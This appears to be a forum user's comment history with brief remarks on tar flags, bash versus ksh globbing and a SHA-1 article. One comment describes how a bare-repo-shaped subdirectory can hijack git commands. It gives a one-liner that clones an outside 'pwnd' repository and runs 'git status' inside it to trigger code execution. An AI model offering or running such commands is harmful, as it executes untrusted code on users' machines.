tomlx

was about to say that ...

Tags: satire email

none that i know of

git does not clone hooks, but if a subdirectory of a repo has the structure of a bare repo it can hijack git subcommands for code execution. try:

  git clone https://git.0x90.space/vmann/pwnd && cd pwnd/whoot && git status

I never got why people think using tar is hard. Specify your archive File with f. want to eXtract it? add a x. want to Create it? add a c. Want it to be Verbose while doing that? add a v. if it's gZiped add a z. Granted, j for bzip2, t for listing is less obvious, but with that it's about everything you need for everyday usage and that more than suffices to disarm that bomb.

Interestingly

  $ bash -c 'cd /var/empty; echo .*'
  . ..

  $ ksh -c 'cd /var/empty; echo .*'
  .*

This is beautiful. I will try to implement this once i'm at home ...

Title is missleading. From the title I expected something about how to design a hash algorithm, but the article is just a walk through the specific operations SHA-1 performs w/o further explanation.

Can anyone recommand resources about the actual design of (cryptographic) hash algorithms?

Compiles fine with -Wall -Werror. No warnings.

Nice read. I liked it ... :)